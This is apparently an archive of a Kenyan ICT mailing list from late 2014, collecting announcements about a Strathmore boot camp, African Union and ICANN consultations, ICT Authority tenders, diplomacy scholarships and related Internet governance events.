Initiatives. -- -- You received this message because you are subscribed to the AIMS-chat mailing list. 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Strathmore Bootcamp
by powell omondi 07 Nov '14

07 Nov '14

Hi Tracy, what is the cost for attending such a bootcamp? BEST REGARDS, FELIX POWEL OMONDI *+254718048029* *powelyomondy(a)gmail.com <powelyomondy(a)gmail.com>* *fomondi(a)ke.ibm.com <fomondi(a)ke.ibm.com>*

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Invitation to Holiday Boot Camp
by Tracy Nyatoro Weru 07 Nov '14

07 Nov '14

Good Morning, We have the pleasure to inform you that at @iLabAfrica, Strathmore University is organising a 10-day Holiday Boot Camp for Primary and High School Students. The program will take place at @iLabAfrica from 24th November 2014 to 5th December 2014 from 9:00 am to 3:00 pm. The Holiday Boot Camp is designed to motivate and inspire students to bring their creative ideas to life. Students will create their own games, animated stories, projects, and publish their applications to the web. The Holiday Boot Camp will provide a comprehensive learning experience that is amazingly fun, highly interactive and extremely effective. For your convenience, we have attached a description and agenda of the training contents. We would be honoured if you would refer students to attend this event. Please let me know at your convenience if you will be able to send any participants or if you can refer other interested students. Registration for the training can be done by following this link: http://goo.gl/Jj6myo. For further questions, comments and/or suggestions, please contact the event coordinators: Tracy Weru, Cell: 0724 239 020 eMail: tweru(a)strathmore.edu Peter Njoroge, Cell: 0725 567 229 eMail: pnyambura(a)strathmore.edu ttps://www.youtube.com/watch?v=sckSxqM1k_g&feature=youtu.be <https://www.youtube.com/watch?v=sckSxqM1k_g&feature=youtu.be> -- *Kind Regards, * *Tracy Weru * *Business Development Analyst - @iLabAfrica * *Strathmore University* *M:(+254) (0) 724 239020 | T: (+254) (0) 703 034452|Ext 2452* *Strathmore Student Centre Building (4th Floor),* *Keri Road, Madaraka Estate, Nairobi, Kenya,* Website: www.iLabAfrica.ac.ke <http://www.ilabafrica.ac.ke/> / www.strathmore.edu https://www.youtube.com/watch?v=NX4Vmy_XfwQ -- Note: All emails sent from Strathmore University are subject to Strathmore’s Email Terms & Conditions. Please click here <http://www.strathmore.edu/aboutus.php?id=184> to read the policy. "Visit our Facebook <https://www.facebook.com/StrathmoreUniversity>Page and Twitter <https://twitter.com/StrathU>Account".

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EOI for Kenyan IT and ITES Firms- Netherlands Trust Fund
by Peres Wamukhuka Were 06 Nov '14

06 Nov '14

Dear Listers Please find attached Expression of Interest by the International Trade Centre. Best regards Peres Were

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African Union Agenda 2063 aspirations: Request for input/contributions
by Alice Munyua 06 Nov '14

06 Nov '14

Dear Colleagues, (Apologies for cross posting) During the Africa ICT week in 2012, African Heads of State and governments of the African Union adopted Agenda 2063, which contains seven aspiration for "the Africa we want" 1) A prosperous Africa based on inclusive growth and sustainable development 2) An integrated continent, politically united and based on the ideal Pan Africanism and the vision of Africa’s Renaissance. 3) An Africa of Good Governance, Democracy, Respect for human rights, Justice and the Rule of law 4) A Peaceful and Secure Africa 5) An Africa with a strong cultural identity, common heritage, shared values and ethics 6) An Africa where development is people-driven, unleashing the potential of women and youth 7) Africa as a strong, united and influential global player and partner The African Union Commission (AUC) is seeking stakeholder input and comments on how the "ICT Sector" would contribute to these aspirations. I) How ICT can contribute to each aspirations), ii) how to set up a regular AU and the African stakeholders a coordination mechanism to develop and monitor continental projects, iii) how to tape on our own African (financial) and human resources to implement our continental programs Stakeholder contributions will form part of the final documents for the AU Summit. Attached, the AU agenda 2063 aspirations. Please send comments to Moctar Yedaly <YedalyM(a)africa-union.org> Best regards Alice

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Invitation for a Pre-Bidders meeting for Kenya News Agency Digitisation at ICTA offices, Wed, 5th November, 10am
by Phyllis Nyambura 05 Nov '14

05 Nov '14

Listers, The ICT Authority has received funding to digitize KNA multimedia assets. Already, 2 tender documents have been issued through the media looking for firms to digitise and create an e-commerce portal. Here are the tender documents: http://www.icta.go.ke/tender-kna-digitization-cataloging-kenya-news-agency-… http://www.icta.go.ke/tender-kenya-news-agency/ <http://www.icta.go.ke/tender-kenya-news-agency/> The deadlines for applications are December 3rd and 9th respectively. *To allow more businesses to take up the Multimedia tender and understand its requirements we have organized a pre-bidders meeting at our offices, ICT Authority, Kenyatta Avenue, GPO, 12th Floor at 10am. * Interested bidders are welcome for the meeting. While we would like to encourage face-to-face interactions, kindly also email your questions to communications(a)ict.go.ke under title *“KNA Pre-bid Meeting”. * The project will be executed through four project areas. The ICT Authority will award contracts through an open tender process. Kind Regards, Phyllis Nyambura Communication Writer The ICT Authority Telposta Towers, 12th Floor, Kenyatta Ave P.O. Box 27150 - 00100 Nairobi, Kenya t: + 254-020-2211960/62 | m: + 254 (0) 789396433 | e: pnyambura(a)ict.go.ke Email: info(a)ict.go.ke or communications(a)ict.go.ke Visit: www.icta.go.ke <http://www.ict.go.ke/> Become a fan: www.facebook.com/ICTAuthorityKE <http://www.facebook.com/kenyaictboard> Follow us on twitter: @ICTAuthorityKE --------------------- -- ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Fwd: [AfrICANN-discuss] Monday 10 Nov at 14:00 UTC: webinar on ICANN's Updated Proposal for Enhanced Engagement in Africa
by Bob Omondi 05 Nov '14

05 Nov '14

FYI... ---------- Forwarded message ---------- From: Yaovi Atohoun <yaovi.atohoun(a)icann.org> Date: Tue, Nov 4, 2014 at 10:48 PM Subject: [AfrICANN-discuss] Monday 10 Nov at 14:00 UTC: webinar on ICANN's Updated Proposal for Enhanced Engagement in Africa To: AfrICANN list <africann(a)afrinic.net> Dear all (Francais plus bas) You are all invited to a webinar on Monday Nov 10 at 14:00 UTC. More details Joining information details are available at https://www.icann.org/news/announcement-2014-11-04-en *Audio:* Please join the call with an Adigo bridge: (for Adigo numbers: www.adigo.com/icann) English speaking line: Conference ID 21912 French speaking line: Conference ID CID 21857. Should anyone need a dial out, please contact either Renate De Wulf ( renate.dewulf(a)icann.org) or Yaovi Atohoun (yaovi.atohoun(a)icann.org) by Friday November 7th end of day. *Visual:* Please join via the Adobe Connect room, https://icann.adobeconnect.com/gse/ Thanks --------------------------- FRANCAIS Vous êtes tous invités au webinaire le lundi 10 Novembre à 14:00 UTC. Plus d'information sur le webinaire er les moyens de participation sont disponibles à https://www.icann.org/news/announcement-2014-11-04-en Audio: les numéros à appeler sont disponible sur www.adigo.com/icann Le numéro de la conférence est CID 21857 Visuel: Connecter vous sur https://icann.adobeconnect.com/gse/ C'est possible que l'opérateur de l'ICANN puisse aussi appeler des participants. Envoyer votre numéro de téléphone à Renate De Wulf ( renate.dewulf(a)icann.org) ou Yaovi Atohoun (yaovi.atohoun(a)icann.org) au plus tard le 7 Novembre. Merci - Yaovi Atohoun Stakeholder Engagement and Operations Manager – Africa ICANN – www.icann.org Mobile : +229 66015649 / 97891228 _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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Fwd: [governance] Applications extended and scholarships available: 2015 Master in Diplomacy with IG specialisation
by Mwendwa Kivuva 03 Nov '14

03 Nov '14

FYI ---------- Forwarded message ---------- From: Ginger Paque <gpaque(a)gmail.com> Date: 30 October 2014 20:54 Subject: [governance] Applications extended and scholarships available: 2015 Master in Diplomacy with IG specialisation To: "governance(a)lists.igcaucus.org" <governance(a)lists.igcaucus.org> Hi everyone, I am passing this on because of new scholarship funding, and the extended deadline. Please pass this on to anyone who might be interested. Cheers, Ginger You may be interested to know that Diplo is still accepting applications for the *2015 Master's programme in Contemporary Diplomacy, with a specialisation in Internet governance*. This specialised programme, offered by DiploFoundation and the University of Malta, gives current and future Internet policymakers a solid foundation in diplomatic skills and techniques, necessary to engage effectively in international and global policy processes. Diplo is also offering *partial scholarships *(20 - 40% discount) available for applicants from developing countries, with priority given to small island developing states. The Master's programme includes a 10-day residential workshop in Malta followed by 16-20 months of online learning. The deadline to apply is *10 November 2014*. For more details and to apply, please visit http://www.diplomacy.edu/courses/MAPGD or contact admissions(a)diplomacy.edu. We would appreciate if you could forward this message to colleagues or friends whom you think may benefit from the programme. Thanks, Stephanie Is this email not displaying correctly? View this email in your browser <http://us5.campaign-archive1.com/?u=89e7299f9fe54eed66d45cf3d&id=2ebd95ff1f…> Master in Contemporary Diplomacy with an Internet Governance Specialisation ------------------------------ *Accelerate your career with this online diplomacy programme, offered by DiploFoundation and the University of Malta.* ------------------------------ *NEWS:* - *Application deadlines extended*: 10 November (international applicants); 1 December (Maltese applicants). Apply now to reserve your place. - *Partial scholarships available* for applicants from developing countries, with priority to applicants from small island states. This unique programme gives current and future Internet policymakers a solid foundation in diplomatic skills and techniques necessary to engage effectively in international global policy processes. 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Fwd: [bestbits] APC assessment of the 2014 IGF
by Mwendwa Kivuva 03 Nov '14

03 Nov '14

Dear all Attached is the APC assessment of the 2014 IGF and recommendations for 2015. Anriette -- ````````````````````````````````` anriette esterhuysen executive director association for progressive communications po box 29755, melville, 2109, south africaanriette(a)apc.orgwww.apc.org

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2014 ICT Value Awards (3rd December 2014)
by Salesio Kiura 02 Nov '14

02 Nov '14

Colleagues, Last year we celebrated ICT Champions@50. This year the open online nomination has so far received overwhelming response!! Even as we close the online nomination process later this week and pass on the lists to the judges, I request you mark the date of 3rd December 2014. More details: http://ictak.or.ke/events/2014ictvalueawards Last year the leader of Majority in the National Assembly as well as principal secretary Industrialization stayed with us to the end in the event. Sample a summary of the event at: http://ictak.or.ke/events/past-event-2013-ict-value-awards Regards, Salesio [image: 2013ictvaawards13.JPG] -- ===== Give thanks for everything since: *All works for good to those that love the LORD!*

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Fw: [afgwg-discuss] Invitation to AfGWG Meeting in Mauritius / Invitation à la reunion AfGWG à Maurice
by Walubengo J 31 Oct '14

31 Oct '14

fyi. Government officials fresh from the ITU, Busan meeting are particularly encouraged to attend. :-) rgds. walu. --- On Fri, 10/31/14, Gaelle Fall <gaelle.fall(a)afrinic.net> wrote: > From: Gaelle Fall <gaelle.fall(a)afrinic.net> > Subject: [afgwg-discuss] Invitation to AfGWG Meeting in Mauritius / Invitation à la reunion AfGWG à Maurice > To: afgwg-discuss(a)afrinic.net > Date: Friday, October 31, 2014, 5:25 AM > (Version française au bas) > > Dear Members, > > We are pleased to invite you to participate to the 10th > meeting of the AFRINIC Government Working Group (AfGWG-10), > scheduled to take place on 26 November 2014 in Mauritius > during the 21st AFRINIC Public Policy Meeting, AFRINIC-21, > happening in Ebène Mauritius, 22 to 28 November 2014. > > The working group has been set up by AFRINIC to provide a > platform for open and interactive discussions between > AFRINIC, African governments, and ICT regulators. Such > collaboration between African ICT stakeholders is important > in view of the steady growth of the Internet and its impact > on the socio-economic development in the region. The rapid > growth and development of the Internet in Africa calls for > an enhanced collaboration between ICT policy makers on > issues of critical interest to the continent. > > The following topics will be discussed during the meeting: > 1. Overview of the IANA Stewardship > Transition process > 2. ICANN Accountability Review – > An Opportunity for Africa to contribute > 3. Status on Internet Number > Resource Usage > 4. IPv6 for Decision Makers > > The agenda is of course open for suggestions and we strongly > encourage your input and feedback. All discussions, > information sharing, and feedback will take place on this > mailing list. > > For further information you may require or for personalised > invitation letters, kindly contact Ms. Gaelle Fall, Head of > Communications and PR, at gaelle.fall[at]afrinic.net. > > We look forward to welcoming you in Mauritius and hope for a > great collaboration for the advancement of Internet in > Africa. > > ----------------------- > > Chers membres, > > Nous avons le plaisir de vous inviter à participer à la > 10e Réunion du groupe de travail gouvernemental d’AFRINIC > (AfGWG) qui se tiendra à Ebène, Maurice le 26 novembre > 2014 lors de la 21e Réunion sur les politiques publique > d’AFRINIC du 22 au 28 novembre 2014. > > Le Groupe de Travail a été mis en place par AFRINIC afin > d’encourager des discussions entre AFRINIC, les > gouvernements africains et les régulateurs des TICs. > Cette collaboration entre les parties prenantes des > TICs est importante dans le contexte d’une > croissance constante de l’Internet et l’impact > socioéconomique sur le développement dans la région > africaine. > La croissance et le développement rapide de l’Internet en > Afrique font appel à plus de collaboration entre les > décideurs politiques des TICs sur les enjeux majeurs de > l’Internet au niveau du continent. > > Les sujets suivants seront discutés lors de la Réunion : > > 1. La transition du rôle de > supervision sur les fonctions IANA > 2. La révision de la > responsabilité et la transparence de l’ICANN – > l’opportunité pour l’Afrique de contribuer > 3. Le statut de l’usage des > ressources de numérotation de l’Internet > 4. L’IPv6 pour les décideurs > > L’agenda est bien entendu ouvert à toute suggestion > et nous vous encourageons à nous envoyer vos > commentaires et suggestions. > > Toute discussion ainsi que l’agenda seront discutés > sur cette liste de diffusion. > > Pour des informations complémentaires ou pour des lettres > d’invitation personnalisées, veuillez contacter Mme > Gaelle Fall, Directrice de Communication et des Relations > Publiques, à gaelle.fall{at}afrinic.net > > Au plaisir de vous accueillir à Maurice et souhaitant une > collaboration étroite pour le développement de > l’Internet en Afrique. > > Regards, > __________ > Gaëlle Anta Fall (Ms) > Head of Communications & PR, AFRINIC Ltd. > t: +230 403 51 00 | f: +230 466 6758 | tt: @afrinic | w: > www.afrinic.net > facebook.com/afrinic | flickr.com/afrinic | > youtube.com/afrinicmedia > > _______________________ > > Join us for AFRINIC-21 in Mauritius > 22 to 28 November, 2014 > Register now at: > http://meeting.afrinic.net/afrinic-21/en/ > > > > > > > -----Inline Attachment Follows----- > > _______________________________________________ > afgwg-discuss mailing list > afgwg-discuss(a)afrinic.net > https://lists.afrinic.net/mailman/listinfo.cgi/afgwg-discuss >

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Innovated and inspired in Africa, made in China
by Mbugua Njihia 28 Oct '14

28 Oct '14

Innovated and inspired in Africa, made in China; may be the label that will get to see on a number of innovations by local entrepreneurs who have chosen to take the road less traveled to build businesses and offer services based on hardware. The push to diversify from what has been pure software play for the Silicon Savannah has been met with teething problems that should be easy to navigate around, if we are to truly empower our entrepreneurs to have the full development ecosystem domiciled in Kenya, with the key benefits being growth of local competence and job creation, as often times the business bits of the innovations have already been well thought through - http://www.mbuguanjihia.com/business/promotion-local-hardware-manufacturing… ᐧ

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Fwd: [IANAOversight] Call for nominations to serve in the CRISP Team
by Bobs 28 Oct '14

28 Oct '14

FYI.... Sent from my iPhone Begin forwarded message: > From: Adiel Akplogan <adiel(a)afrinic.net> > Date: October 27, 2014 at 10:56:06 PM GMT+3 > To: ianaoversight(a)afrinic.net > Subject: Fwd: [IANAOversight] Call for nominations to serve in the CRISP Team > > > Begin forwarded message: > >> From: Adiel Akplogan <adiel(a)afrinic.net> >> Subject: [IANAOversight] Call for nominations to serve in the CRISP Team >> Date: October 27, 2014 at 23:53:52 PM GMT+4 >> To: ianaoversight(a)afrinic.net >> >> Dear Colleagues, >> >> The AFRINIC Board is seeking qualified individuals from the region to volunteer for the CRISP Team. Such member should have an understanding of the RIR’s activities, as well as the NTIA/IANA transition process. The CRISP team will be responsible for producing the Number Community's Proposal for the IANA Stewardship Transition, to be submitted to the IANA Coordination Group (ICG) by 15 January 2015. >> >> For background and details on the CRISP Team, please see the NRO website: >> >> https://www.nro.net/nro-and-internet-governance/iana-oversight/consolidated… >> >> For background on the AFRINIC IANA Transition process, please see our website: >> >> http://www.afrinic.net/en/community/iana-oversight-transition >> >> For background on the ICG and the IANA Stewardship Transition process, please see the ICG website: >> >> http://ianacg.org >> >> Interested members of the community should provide the following and send to ceo(a)afrinic.net (with the word “CRISP" in the subject line) by Friday 7th November 2014 at 12:00 UTC. >> >> 1. Full Name: >> 2. Organisation: >> 3. Position In Organisation: >> 4. E-mail address >> 5. Contact Phone Number >> 6. Why do you want to Serve on the CRISP? [Not more than 100 words] >> 7. What relevant experience qualifies you to serve on the CRISP? [Not more than 100 words] >> 8. CV/Biography Link or attachment >> >> If nominating someone else, also complete the following: >> >> Nominated by >> Organisation: >> Position: >> Email address: >> Contact phone number: >> Statement of support: (optional, 500 words max) >> >> The Board will make a decision about the selected candidates, no later than 12 November 2014. Candidates should be prepared for an online or telephone interview if needed. In such case more details will be communicated to them after the 7th November 2014. >> >> Thank you for your interest and we appreciate your contribution to this very important process. >> >> Regards. >> >> Adiel A. Akplogan >> CEO, AFRINIC >> on Behalf of the Board >> _______________________________________________ >> ianaoversight mailing list >> ianaoversight(a)afrinic.net >> https://lists.afrinic.net/mailman/listinfo.cgi/ianaoversight > > _______________________________________________ > ianaoversight mailing list > ianaoversight(a)afrinic.net > https://lists.afrinic.net/mailman/listinfo.cgi/ianaoversight

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Fwd: FW: AfrICANN 2014 Newsletter
by Bob Omondi 28 Oct '14

28 Oct '14

Dear listers, Sorry for cross posting. Please find below our October 2014 Newsletter. your feedback are welcome. Thank you. Regards *Bob*. We are excited to share with you our October 2014 edition of the AfrICANN newsletter, and hope you enjoyed reading our EMEA Newsletter, which covered the general developments in the last three months within ICANN in the EMEA regions, as well as the wider Internet Ecosystem. It is our hope that these tools continue to be important vessels in keeping you - our community and stakeholders - informed about our work in Africa and beyond. With your feedback, we believe that together, we will make significant strides in elevating the DNS industry in Africa. In this AfriICANN edition, we shall highlight some of the key activities and events that the Africa team has participated in the last two months and update you on the planned activities coming in the near future. A special focus (Spotlight) has been given to our recent participation in the just concluded Smart Rwanda Days <http://www.smartrwandadays.rw/> forum in Kigali Rwanda where ICANN Africa team and one of the ICANN board members – Mike Silber – hosted two distinguished panels. We are also happy to welcome The Gambia and Niger as the latest addition to the list of Africa’s GAC members in ICANN. Our DNSSEC roadshow flagship project has now reached 8 countries and counting. Lastly, and in response to the desire by the community to re-evaluate the Africa Strategy with a view of making it more responsive to African needs, the ICANN Africa team is planning a special consultative meeting to be held during Afrinic 21 in November 2014 to help come up with modalities of appointing a Steering Committee to oversee the Implementation of the Africa Strategy. Please read on. *Welcome to AfrICANN and happy reading!* *Africa Team* Spotlight: ICANN at Smart Rwanda Days (Oct 2-3 2014) SMART Rwanda Days is to be an annual event bringing together national and international stakeholders in the ICT sector – industry experts, policy makers, and development partners – to discuss how Rwanda can leverage Information Communication Technologies for economic transformation in line with her Vision 2020. This year’s event was held at the Serena Hotel, Kigali under the theme “Digitising Rwanda” and was attended by more than 400 participants. The overall programme is here <http://www.smartrwandadays.rw/IMG/pdf/program.pdf>. It is the first of a series of SMART Africa days to be organized in each African country. To be noted, ICANN is a member of the SMART Africa Alliance, which was formed in October 2013 in Addis Ababa; other members are the ITU, the AUC and the AfDB. ICANN was represented at SMART Rwanda days by the Africa team and Mike Silber, a member of the ICANN board of directors. We did three things during the 2-day forum. We held bilateral meetings and hosted two panels. The bilateral meetings were with government delegations - ICT ministers from Kenya, Rwanda and Republic of Southern Sudan). Also in attendance were ITU secretary General Dr. Hamadoun Toure and One UN resident Coordinator for Rwanda Mr. Lamin M. Manneh. We also held meetings with lecturers from the Carnegie Mellon University of Rwanda. As for the two panels hosted, they revolved around: *A)* Internet Governance *B)* Greasing the wheels of the Internet Economy While speaking at the official closure of the forum, President Paul Kagame echoed the rallying call and tone of the forum “We need to treat broadband like a utility that we should avail and make affordable to as many people as we can.” Specifically, he stressed that digital innovation means ideas do not have borders and therefore countries cannot be landlocked! On his part, Dr. Toure, echoed Kagame’s remarks on the progress made in recent years in ICT, saying that Africa was catching up with the rest of the world and that the next step would be building a knowledge-based society. “We have the right resources, the younger generation who we believe in, and a framework that was established and detailed in the Smart Africa Manifesto,” Toure said. The two ICANN Panels were spot on and generated very active debates. *A) Panel Discussion <https://www.youtube.com/watch?v=EOwYC-6JyTw> on "Internet governance”* *Moderator:* Steve Mutabazi, Acting Head ICT; Rwanda Development Board *Speakers:* - Pierre Dandjinou, VP, Stakeholder Engagement – Africa, ICANN - Mike Silber, Head Legal and Commercial of Liquid Telecomms - Patrick Nyirishema, Ag. Director General of RURA, Rwanda - Ghislain Nkeramugaba, Ag. CEO, RICTA - Hon. Vincent Waiswa Bagiire, MP, Parliament, Republic of Uganda The panel discussion opened with a video presentation by Fadi Chehade; in his welcoming remarks Fadi emphasized on what ICANN does and why Africa should be part of the overall debate on Internet Governance. Pierre took over with slides presentation on ICANN and most specifically current discussions and work on the NTIA’s declaration on transition of the stewardship of IANA’s functions. Other panelists proceeded with addressing specific points related to ICANN’s role within the debate on the Internet governance. The representative of RURA, the Rwandan regulator insisted on the necessity for inclusive debates and the need for countries to have a certain control over the content, which circulates on the Internet. The Honourable Vincent Bagiire, a Parliamentarian from Uganda recognized the important role played by ICANN, but was on the opinion that ICANN does not communicate enough on its activities and moreover, has been too slow in solving issues related to re delegation of ccTLDs. The representative of the ICT Association of Rwanda, RICTA which manages the .RW gave an account of how the country’s domain is being managed and called for a national organization of stakeholders so that they could best contribute to the Internet governance. He brought in the issue of Cybersecurity. Mike Silber indicated that ICANN ‘s remit is about coordination of critical resources and that many issues being raised such as content control or cybersecurity should be dealt with in other arenas to be created. He insisted on the importance of participating in the global debate on Internet governance. In summary, it was agreed that: 1. Africa needs an informed participation to be able to contribute to ICANN and other fora on Internet governance 2. There is a need to promote debates on IG at national and regional levels 3. ICANN should help build a conducive environment which generates the type of leadership that is needed to contribute to ICANN’s activities 4. Though some information is available on ICANN’s website, it should seek other means to better communicate on its activities, while targeting different stakeholders. *B) Panel Discussion on “Greasing the wheels of the Internet Economy"* *Moderator:* Ali Hussein, CEO, 3Mice Interactive (Kenya) *Speakers:* - Hon. Dr. Fred Okeng'o Matiangi, Ministry of ICT, Republic of Kenya - Pitchette Kampeta Sayinzoga, PS, Ministry of Finance and Economic Planning - Rwanda - Tongai Maramba, CEO, Tigo Rwanda - Sunir Chandaria, Vice President, Conros Corporation (Rwanda) - Andrew Rugege, Regional Director for Africa, ITU - Pierre Dandjinou, VP, Stakeholder Engagement Africa, ICANN This session was held in the main plenary, with over 100 participants in attendance including the ICT ministers from Republic of Southern Sudan, Rwanda, and PS ICT for Republic of Mali and Gabon and streamed live <http://youtu.be/T96i-uB6zMQ>. To set the stage for the panel, the BCG report was presented in a few slides; followed by presentations by each speakers and an interaction with the audience. In summary, very interesting dialogues with high profile panelists. The discussions reflected the rich mix of the panelists with most supporting the findings of the BCG report. “This report has summed up our headache in matters of ICTs in Africa with the correct term - efriction” noted Mr. Tongai of Tigo. Pierre was keen on addressing the motivation as to why this report was commissioned by ICANN while Dr. Matiangi elaborated the various initiatives in flight in Kenya and within the East African Northern Corridor projects to address some of the efrictions listed in the report. Panelists were in general agreement that it is high time ICT infrastructure was considered as ‘critical’ as roads, Power lines and water infrastructure, and that strategies including content and application generation as well as skills development be central to the uptake of ICT for growth and job creation in the African region. This was echoed by the ICT minister from Rwanda Hon. Jean Philbert Nsengimana who stressed in his remarks during the closing ceremony that “For the Smart Rwanda Days specifically this year we chose ‘Digitising Rwanda’ as a theme, in recognition of the fact that Africa’s digital economies are growing faster than traditional sectors and the potential for an even bigger contribution to national GDPs is yet to be unleashed". *The ICANN Africa team* Africa Team Engagement Activities in Focus *DNSSEC Roadshow In Yaounde (Cameroon)* Last month, we held our latest DNSSEC Roadshow in Yaoundé Cameroon from September 17-19, 2014. With about 100 participants taking part at Ecole Nationale Supérieure des Postes et Télécommunications (ENSPT), in Yaoundé. The workshop covered general awareness, capacity building in DNSSEC technical implementation and, evaluation of the current infrastructure at the ccTLD level, and next steps for DNSSEC deployment. *Business Engagement Roundtable and Breakfast Meeting, Nairobi Kenya (Sept 8-9, 2014)* The work of ICANN in coordinating the names and addresses of the Internet helps keep it global, expanding and interoperable. Furthermore, increased access to a global, expanding, and interoperable Internet is good for business and national economies. Support for this point can be found in the Boston Consulting Group’s report on E friction, “Greasing the Wheels of the Internet Economy” <https://www.icann.org/en/system/files/files/bcg-internet-economy-27jan14-en…> . The BCG report came out in January, and continues to resonate with governments and business leaders around the world by providing a clear roadmap of how businesses and national economies can continue to benefit by fully embracing a global, borderless Internet. Our aim in hosting this event in Nairobi was to stimulate meaningful private sector involvement especially in Africa in ICANN as well the wider IG ecosystem. The mixed presentation and panel roundtable meeting was led by ICANN’s Chris Mondini supported by Kenyan private sector ICT experts with discussions focused on 3 major topics; Africa Strategy, BCG report presentation and Panel Discussion on Business Engagement. *Southern Africa IGF: Lilongwe Malawi* ICANN participated in the Southern Africa Internet Governance Forum 2014 (SAIGF-14) convened from 17 - 19 Sept 2014 in Lilongwe, Malawi. This high level multi-stakeholder event on emerging issues on Internet Governance (IG) in SADC was hosted by the Government of Malawi. The SAIGF-14 was co-convened by SADC Secretariat in conjunction with the New Partnership for Africa’s Development (NEPAD) Agency, the Association for Progressive Communications (APC) and the Southern African NGO Network (SANGONET) under the theme “Internet Governance as a Building Block of SADC Regional Integration”. The event attracted over 200 delegates from nine (9) SADC Member States. ICANN hosted 2 panel sessions on Africa Strategy and another on IANA stewardship transition / Enhancing ICANN Accountability. The event also provided an opportunity for productive bilateral meetings with visiting delegates from SADC member states and the host Malawi GAC rep who is also the secretary for e-government. NEPAD also announced plans to host the 2ND Africa School on Internet Governance alongside Afrinic 21 in November this year. Here is the comprehensive media release <http://www.sadc.int/documents-publications/show/2789>. *ICANN at Demo Africa 2014 (Sept 24 – 26 2014)* DEMO Africa is one of the flagship initiatives of Liberalizing Innovation Opportunity Nations (LIONS@FRICA) Partnership and aims to connect African startups to the global ecosystem. It offers start-ups from all over Africa a platform to meet VCs, investors, tech acquisition specialists, IT buyers and media from across the region and around the globe. The Start-ups are given an opportunity to launch their products to a tech eco-system under various categories including Health, Agriculture, Manufacturing and Retail and education. This event offered us the perfect opportunity to tap into the potential of African youth to stimulate digital entrepreneurship. Through collaboration with tech hubs and Incubators, practical training and support to potential startups interested in the DNS field can be offered, to launch and operate a registry / registrar business. (DNS incubation). We at ICANN, understand the need for strategic partnerships with private sector players, technology and global firms and other donor institutions to support the project which is why we follow and participate in DEMO Africa and similar events. The event now in its 3 edition in Africa was hosted in Lagos, Nigeria in collaboration with the Federal Ministry of Communication and Technology, the National IT Development Agency and the LIONS@FRICA partners. Key guest who addressed the meeting included the Minister for ICT, Mrs. Omobola Johnson and the US Secretary of State, John Kerry (Video Message <https://www.youtube.com/watch?v=DGzmmXsZNhA>). *Connect 2 Connect (C2C) Summit. Dar es salaam, Tanzania* The C2C summit <http://extensia-events.com/events/connect-2-connect-2014/> was organized by Extensia <http://extensia-events.com/> in partnership with Tanzania’s ministry of Communications Science & Technology (MCST) and the Tanzania Telecommunications Company Ltd. (TTCL). The summit recognized the cross-sector collaborative efforts in building an Information Society and a Knowledge Economy across the Eastern, Central and Southern regions of Africa. Attracting over 240 international policy makers, regulators, service providers, major end users, investors and solution providers, from 28 countries across Africa, Asia, Europe and USA. “The high level of attendance is a clear indication of the importance of ICT and serious vision for creating an information society and knowledge economy” noted PS MCST, Tanzania. As ICANN, our aim in collaborating with Extensia and participating in such events is to use the platforms to deepen our engagements with key delegations from across sectors and expose them to ICANN’s work as we invite governments to join GAC. We had very constructive bilateral meetings with the Minster for ICT, Republic or southern Sudan Ms. Rebecca J. Okwaci, the host and chief guest of the day, PS MCST, for Tanzania, Prof. Patrick J. Makungu, and the the deputy minister for ICT – Republic of Zimbabwe Dr. W. Mlambo as well as representatives from the African Telecommunications Union – ATU. The rest were private sector players and CEO’s from diverse sectors but largely from Telco’s, Regulators and ISPs. Please see more details here <http://extensia-events.com/events/connect-2-connect-2014/> and here <http://www.slideshare.net/nairdallah/c2c-2014-summit-review>. *National ICT Summit – Namibia* ICANN was invited for a key note presentation at the first ever national ICT event in Namibia organized by the Ministry of Information and Communication Technology in partnership with Telecom Namibia at the Windhoek Country Club Resort in Windhoek, on the 6th and 7th October 2014. Bob Ochieng represented ICANN at the summit and presented on 3 key topics; Africa Strategy Implementation, IANA Stewardship Transition and the new gTLD programme. The event also provided an opportunity for bilateral meetings with the ICT leadership in the Ministry of ICT including the Hon. minister Joel Kaapanda, MP, the PS ICT Mr. Mbeuta Ua-Ndjarakana and Mr. Henry Kassen, the GAC rep for Namibia (Henry is currently vying for the GAC vice chair position during ICANN 51) as well CEOs of Namibia Telecom and the Regulator (CRAN <http://www.cran.na/>) and lecturers from University of Namibia (UNAM). A record 250 delegates were in attendance during the 2-day event. Please read more here <http://www.namibiaictsummit.na/>. Upcoming Events in Africa *Afrinic 21 <http://www.afrinic.net/en/library/news/1013-af21>* ICANN Africa team will be hosting a special meeting for the mid term review of the Africa Strategy and possible formation of a steering committee to oversee the implementation. *ICANN AfICTA joint Workshop <http://aficta.org/index.php/events>* The 2nd AfICTA Summit with the theme "Fostering a Smart Africa" is scheduled to hold on November 3-5, 2014 @ the Conference Centre, Cairo, Egypt. ICANN Africa team and together with ICANN Middle East colleagues will host 2 day workshop focused on Registrar issues. *MEDays Forum <http://www.medays.org>* The Amadeus Institute, first Think Tank in the Maghreb, will organize the seventh edition of the international MEDays Forum in Tangier, Morocco, from November 12th to 15th, 2014. ICANN VP for Africa, Mr. Pierre Dandjinou will give a key note address under the topic *“Cyber War and e-security: How to Solve the Snowden Equation?”* From ICANN Global - *ICANN 51:* Please read all about ICANN 51 at http://la51.icann.org/en/ - *IANA Stewardship Transition and ICANN Accountability:* ICANN has published Revised Enhancing ICANN Accountability: Process and Next Steps: https://www.icann.org/news/announcement-2-2014-10-10-en - ITU Plenipotentiary Conference scheduled for Busan (Republic of Korea) in November 2014 <http://www.itu.int/en/plenipotentiary/2014/Pages/default.aspx> <https://twitter.com/ICANN> <https://www.facebook.com/icannorg>

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When Google Met Wikileaks
by S.M. Muraya 27 Oct '14

27 Oct '14

Long read... Long before company founders Larry Page and Sergey Brin hired Schmidt in 2001, their initial research upon which Google was based had been partly funded by the Defense Advanced Research Projects Agency (DARPA). And even as Schmidt’s Google developed an image as the overly friendly giant of global tech, it was building a close relationship with the intelligence community. http://www.newsweek.com/assange-google-not-what-it-seems-279447

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Konza Development Authority- CEO Vacancy
by Phyllis Nyambura 27 Oct '14

27 Oct '14

